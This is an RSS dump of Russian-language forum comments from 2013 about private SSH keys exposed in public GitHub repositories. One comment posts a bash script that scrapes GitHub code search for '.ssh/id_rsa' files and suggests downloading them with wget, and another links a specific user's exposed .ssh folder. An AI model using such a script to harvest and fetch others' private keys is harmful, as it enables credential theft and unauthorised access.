http://rulinux.net/ http://rulinux.net/ http://rulinux.net/rss_icon.png https://rulinux.net/message.php?newsid=38770&page=1#164424 https://rulinux.net/message.php?newsid=38770&page=1#164424 Fri, 25 Jan 2013 06:14:18 +0400 а зачем оно надо то? почту Другого или Навального читать?

]]> https://rulinux.net/message.php?newsid=38770&page=1#164399 https://rulinux.net/message.php?newsid=38770&page=1#164399 Thu, 24 Jan 2013 13:35:29 +0400 > Ну разве что владелец акка настроил беспарольную авторизацию по публичному ключу - тогда там должен быть ещё файлик autorized_keys

Хотя нет, есть и такие, что настроенный публичный ключ тут же выкладывают:

https://github.com/jaconey/my-conf/tree/ee9aafaff0823c3ca691f5b22357bb6e2043ed73/.ssh

]]> https://rulinux.net/message.php?newsid=38770&page=1#164397 https://rulinux.net/message.php?newsid=38770&page=1#164397 Thu, 24 Jan 2013 13:27:03 +0400 > Кто из нас тут хакер? У него и спроси.

Кстати, а кто у нас тут хакер?

Я лично не вижу особых применений этим ключам. Ну разве что владелец акка настроил беспарольную авторизацию по публичному ключу - тогда там должен быть ещё файлик autorized_keys и сам SSH-сервер должен быть сконфигурён соответствующе.

]]> https://rulinux.net/message.php?newsid=38770&page=1#164394 https://rulinux.net/message.php?newsid=38770&page=1#164394 Thu, 24 Jan 2013 12:56:17 +0400 > какие приватные ключи там лежат?
Пара к pub-у, очевидно.

> как этими файлами можно воспользоваться?
Кто из нас тут хакер? У него и спроси.

]]> https://rulinux.net/message.php?newsid=38770&page=1#164393 https://rulinux.net/message.php?newsid=38770&page=1#164393 Thu, 24 Jan 2013 12:07:32 +0400 > Неужели не пофиксили?

А в чём проблема-то воще?

]]> https://rulinux.net/message.php?newsid=38770&page=1#164392 https://rulinux.net/message.php?newsid=38770&page=1#164392 Thu, 24 Jan 2013 12:05:22 +0400 > там лежат помимо .pub ещё и приватные ключи

Внимание, вопрос: какие приватные ключи там лежат?

> Ну а вопрос "зачем" каждый решает для себя сам.

Переформулирую свой вопрос: как этими файлами можно воспользоваться?

]]> https://rulinux.net/message.php?newsid=38770&page=1#164390 https://rulinux.net/message.php?newsid=38770&page=1#164390 Thu, 24 Jan 2013 11:53:10 +0400 Так вроде же боян. Пацанчик с хабра кажется с полгода назад, что-то такое нарыл. Срач был неделе две. Неужели не пофиксили?

]]> https://rulinux.net/message.php?newsid=38770&page=1#164383 https://rulinux.net/message.php?newsid=38770&page=1#164383 Thu, 24 Jan 2013 10:28:56 +0400 ЭТАПЯТЬ

]]> https://rulinux.net/message.php?newsid=38770&page=1#164382 https://rulinux.net/message.php?newsid=38770&page=1#164382 Thu, 24 Jan 2013 10:06:16 +0400 > И ещё - а ты уверен, что .pub - это именно _приватные_ ключи?
Это к самаретянину. Но там лежат помимо .pub ещё и приватные ключи. Вот пример первого же репозитария:

..
id_rsa
id_rsa.pub
known_hosts

Ну а вопрос "зачем" каждый решает для себя сам.

]]> https://rulinux.net/message.php?newsid=38770&page=1#164379 https://rulinux.net/message.php?newsid=38770&page=1#164379 Thu, 24 Jan 2013 09:41:14 +0400 А для чего они? И ещё - а ты уверен, что .pub - это именно _приватные_ ключи?

]]> https://rulinux.net/message.php?newsid=38770&page=1#164378 https://rulinux.net/message.php?newsid=38770&page=1#164378 Thu, 24 Jan 2013 09:40:42 +0400 Добрые самаретяне даже предлагаюсь скрипт для выкачивания списка приватных ключей:

bash


#!/bin/bash
for n in {1..44}
do
        wget -O - "https://github.com/search?p=$n&q=path%3A.ssh%2Fid_rsa&ref=searchresults&type=Code" | grep -Eo "".*?/.ssh/id_rsa(.pub)?" | sed -e 's/^.{1}//' |  sed s/^/"https://github.com"/ >> key_links.txt
done
 

key_links.txt можно скормить wget'у

]]> https://rulinux.net/message.php?newsid=38770&page=1#164373 https://rulinux.net/message.php?newsid=38770&page=1#164373 Thu, 24 Jan 2013 09:30:18 +0400 Заходим сюда и качаем всё что нужно.

]]>